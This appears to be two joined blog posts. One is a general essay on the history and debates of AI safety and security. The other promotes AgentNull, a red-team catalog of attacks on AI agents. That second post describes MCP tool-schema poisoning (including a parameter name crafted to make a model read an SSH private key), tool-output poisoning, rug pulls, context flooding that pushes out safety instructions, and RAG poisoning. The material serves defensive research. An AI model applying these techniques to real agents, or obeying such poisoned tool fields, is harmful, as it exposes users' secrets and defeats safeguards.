Philosophical discussions also emerged early. As far back as the 1956 Dartmouth Conference, the birthplace of the term “artificial intelligence,” thinkers like Norbert Wiener cautioned against the “unheard-of importance for good and for evil” that AI could wield. The early 2000s saw the emergence of dedicated organizations focused on mitigating the potential risks of advanced AI. Groups like the Machine Intelligence Research Institute shifted the focus from simply building “friendly AI” to actively addressing the risks of “unfriendly AI.” These efforts were often intertwined with the transhumanist movement, which sought to enhance human capabilities through technology.

The publication of Nick Bostrom’s “Superintelligence” in 2014 catapulted the discussion of existential risks from advanced AI into the mainstream. Bostrom’s work painted a compelling, and unsettling, picture of a future where superintelligent AI could surpass human control, leading to potentially catastrophic outcomes. This sparked widespread debate and prompted leading AI research labs like OpenAI to dedicate significant resources to AI safety research, solidifying it as a legitimate and pressing field of study.

It’s worth noting that while AI safety and security are relatively new fields, AI has been quietly contributing to cybersecurity for decades. Since the 1980s, early forms of AI, such as rule-based systems, have been used to detect anomalies and learn from cyberattacks, providing a foundation for the more sophisticated AI-powered security tools we see today. Modern frameworks now implement cryptographic verification of external tools, policy-driven security enforcement, and comprehensive audit trails to ensure that AI agents operate within defined security boundaries.

The Great AI Debate: What Keeps Experts Up at Night?

The AI safety and security community is not a monolithic entity. A vibrant, and sometimes heated, debate rages within its ranks, fueled by differing perspectives on the most pressing risks and the best approaches to mitigate them. On one side, we have what might be called the “existential risk camp,” populated by leading figures like Geoffrey Hinton and organizations like the Future of Life Institute. This group believes that the greatest threat lies in the potential for superintelligent AI to surpass human control, leading to catastrophic outcomes, even human extinction. They argue that we need to prioritize understanding and ensuring AI safety before continuing to aggressively pursue AI development. Some even advocate for a pause in AI development to allow us to catch our breath and properly assess the risks.

On the other side, we have the “immediate risks camp,” represented by experts like Prof. Noel Sharkey, who contend that focusing too much on speculative, existential threats distracts from the very real and present dangers posed by current AI systems. They argue that issues like bias and discrimination in AI, the proliferation of deepfakes, the erosion of privacy through AI-powered surveillance, and the potential for widespread job displacement demand immediate attention and regulatory action.

Despite their differing priorities, almost all experts agree on one fundamental point: AI development is accelerating at an unprecedented pace, bringing with it both tremendous opportunities and escalating safety and security risks. The need for proactive and comprehensive action is undeniable. This is particularly true as we move toward more sophisticated AI agent frameworks that can operate autonomously across different security tiers and interact with external tools and services.

What specific threats should we be most concerned about in the immediate future? Advanced cyber attacks represent a significant concern, with AI-powered tools automating and supercharging phishing campaigns, hacking attempts, and malware creation, making cyberattacks more sophisticated and difficult to defend against. The generation of increasingly convincing deepfakes and misinformation poses another major risk, eroding trust in legitimate sources of information and potentially inciting social unrest or political manipulation.

Model manipulation represents another growing threat, where attackers “poison” AI training data or use prompt injections to make AI models misbehave, compromising their accuracy and reliability. As AI becomes increasingly embedded in critical infrastructure systems like power grids and transportation networks, new risks of failure and attack emerge, potentially leading to widespread disruption and even physical harm. Modern AI frameworks are beginning to address these concerns through comprehensive policy engines, cryptographic tool verification, and multi-tier security architectures that can adapt to different risk levels.

When AI Goes Wrong: Controversies & Ethical Minefields

The potential for AI to go wrong is not merely a theoretical exercise; it’s a reality that’s already playing out in various controversies and ethical dilemmas. Perhaps nowhere is this more evident than in the persistent problem of AI bias. AI learns from the data it’s fed, and if that data reflects existing societal biases, which much of it does, the AI will inevitably perpetuate and even amplify those biases. This can lead to discriminatory outcomes in a variety of domains.

Consider, for example, facial recognition systems that exhibit higher error rates for minorities, AI-powered hiring tools that discriminate against women, healthcare algorithms that exhibit racial bias in treatment recommendations, or criminal justice prediction systems that disproportionately target certain communities. The solution requires diverse and representative datasets, continuous auditing for bias, and ethical design principles baked into the very foundation of AI development. Advanced AI frameworks are beginning to incorporate policy-aware programming that can enforce ethical constraints at the system level, ensuring that agents operate within predefined ethical boundaries.

The proliferation of AI-driven surveillance technologies raises profound privacy concerns. These systems often collect vast amounts of data without consent, tracking our movements, monitoring our online activities, and even analyzing our emotions. Compounding the problem is the “black box” nature of many AI algorithms. It’s often difficult, if not impossible, to understand how these complex systems are making decisions, making it challenging to hold them accountable when errors or misuse occur. This lack of transparency disproportionately impacts marginalized communities, who are often subject to heightened surveillance.

Perhaps the most ethically fraught application of AI is in the development of autonomous weapons systems, or “killer robots.” These are weapons that can independently select and engage targets without human intervention. The concerns are numerous: the lack of human oversight and accountability if something goes wrong, the potential for disastrous algorithmic errors, the “dehumanization” of warfare, and the risk of a dangerous global arms race. Many experts and organizations are calling for international treaties to prohibit or strictly regulate the development and deployment of autonomous weapons systems.

The fear of job displacement due to AI is not merely a Luddite fantasy; it’s a very real concern for many workers. AI has the potential to automate tasks across almost every sector, potentially displacing millions of workers. The ethical question becomes: How do we ensure a “just transition” to an AI-driven economy? This includes providing retraining programs, investing in reskilling initiatives, and ensuring that the benefits of AI are distributed fairly across society.

The Road Ahead: What’s Next for AI Safety & Security?

The future of AI safety and security is dynamic and uncertain, but several key trends are beginning to emerge. As AI-powered cyberattacks become more sophisticated, we can expect to see AI technologies increasingly used to defend against those threats. This will likely lead to a constant back-and-forth, an AI arms race between attackers and defenders. Imagine AI systems capable of real-time predictive threat detection, automating security responses at lightning speed, enhancing phishing detection, and using behavioral analysis to spot insider threats.

Governments around the world are beginning to take AI safety and security seriously. We’re seeing a rise in AI-specific regulations, such as the EU’s pioneering AI Act, the establishment of national AI Safety Institutes in countries like the UK, US, and Singapore, and international summits aimed at fostering global cooperation. The goal is to create risk-based AI classifications, promote transparency and human oversight, and establish shared international standards for AI development and deployment.

The focus is shifting from reactive defenses to building safety and security into AI systems from the very beginning, across their entire development lifecycle. This “secure by design” approach aims to minimize vulnerabilities and ensure that AI systems are inherently more resilient to attack. Modern AI agent frameworks are embracing this philosophy by implementing comprehensive security measures from the ground up, including cryptographic verification of external tools, policy-driven access control, and multi-tier sandboxing that can adapt security measures based on risk assessment.

Despite the increasing capabilities of AI, human cybersecurity experts will not become obsolete. Instead, AI will augment and elevate their skills, allowing them to focus on more strategic and complex challenges. The most effective approach will combine the speed and efficiency of AI with human insight and judgment. Upskilling the workforce and attracting AI-familiar talent will be critical for navigating this evolving landscape.

Perhaps most importantly, AI capabilities are advancing at breakneck speed, which means that AI safety and security are not “solved” problems. They are continuous, adaptive processes that require ongoing research, testing, and collaboration. We must remain vigilant and proactive in addressing the emerging risks and challenges posed by AI. This is particularly true as we develop more sophisticated autonomous agent systems that can operate across different security domains and interact with a growing ecosystem of external tools and services.

Conclusion: A Safer, Smarter Future is Possible

AI offers incredible potential to solve some of humanity’s most pressing challenges, from climate change to disease eradication. However, realizing that potential requires us to proactively address the inherent safety and security risks that come with this powerful technology. These aren’t optional extras; they’re fundamental to building a trustworthy AI future.

The development of sophisticated AI agent frameworks that can operate autonomously while maintaining security and safety represents both a tremendous opportunity and a significant challenge. By implementing policy-aware programming, multi-tier security architectures, and comprehensive audit mechanisms, we can build AI systems that are both powerful and trustworthy. The key is ensuring that as we develop more capable autonomous agents, we simultaneously strengthen the safety and security measures that govern their behavior.

The conversation is global, the challenges are complex, but with ongoing research, relentless innovation, robust regulation, and widespread collaboration across governments, industry, and civil society, we can harness AI’s immense power for good and ensure that it benefits all of humanity. The future of AI safety and security isn’t predetermined – it’s something we’re actively creating through the choices we make today about how to design, deploy, and govern these powerful systems.

As we stand on the brink of an age of truly autonomous AI agents, the stakes have never been higher. The decisions we make about AI safety and security in the coming years will shape the trajectory of human civilization for generations to come. So, let’s mind the bots, shall we? The future depends on it.

AgentNull, a project by ThirdKey Research, is a comprehensive, red-team-oriented catalog of attack vectors that target a wide range of AI systems, from autonomous agents and RAG pipelines to vector databases and embedding-based retrieval systems. Each attack vector is accompanied by a proof-of-concept (PoC), allowing researchers and developers to understand and replicate these vulnerabilities in a controlled environment.

This blog post will explore some of the key attack categories covered in the AgentNull catalog, highlighting the innovative research being done by ThirdKey to secure the next generation of AI.

A Multitude of Attack Vectors

The AgentNull catalog is extensive, covering a wide array of vulnerabilities. Here are some of the key areas of focus:

MCP & Agent Systems

This is a major focus of the catalog, with a number of novel attacks, including:

• Full-Schema Poisoning (FSP): This attack goes beyond traditional tool poisoning by exploiting any field in an MCP tool schema, not just the description. For example, a parameter could be maliciously named content_from_reading_ssh_id_rsa to trick the LLM into accessing sensitive files.

• Advanced Tool Poisoning Attack (ATPA): This technique manipulates tool outputs to trigger secondary malicious actions. For instance, a tool could return a fake error message that requests sensitive data.

• MCP Rug Pull Attack: This attack exploits the trust between developers and MCP servers by swapping benign tool descriptions with malicious ones after the tool has been approved for production.

• Schema Validation Bypass: Attackers can exploit inconsistencies in how different MCP clients validate tool schemas, allowing them to craft payloads that bypass some validators while being accepted by others.

Memory & Context Systems

These attacks manipulate the agent’s memory and context to bypass safety measures:

• Recursive Leakage: Sensitive information can be summarized and leak into later, unrelated messages.

• Token Gaslighting: This involves flooding the agent’s memory with junk data to push out earlier safety instructions.

RAG & Vector Systems

These attacks focus on the vulnerabilities of Retrieval-Augmented Generation and vector database systems:

• Cross-Embedding Poisoning: This attack manipulates vector embeddings to make malicious content appear more similar to legitimate content, increasing the likelihood of it being retrieved.

• Index Skew Attacks: This theoretical attack involves biasing vector database indexing mechanisms to favor the retrieval of malicious content.

Proactive Security Research

The work being done by ThirdKey’s AgentNull project is a critical component of a proactive cybersecurity strategy. By identifying and documenting these vulnerabilities before they are widely exploited, the security community can develop the necessary defenses to protect against them. The detailed PoCs provided in the AgentNull repository are an invaluable tool for researchers, developers, and security professionals who are working to build a more secure AI ecosystem.

As AI continues to evolve, so too will the methods used to attack it. ThirdKey’s AgentNull project is essential for staying ahead of the curve and ensuring that the next generation of AI is both powerful and secure.

Learn More: Explore the complete AgentNull catalog and access proof-of-concept demonstrations at the AgentNull GitHub repository.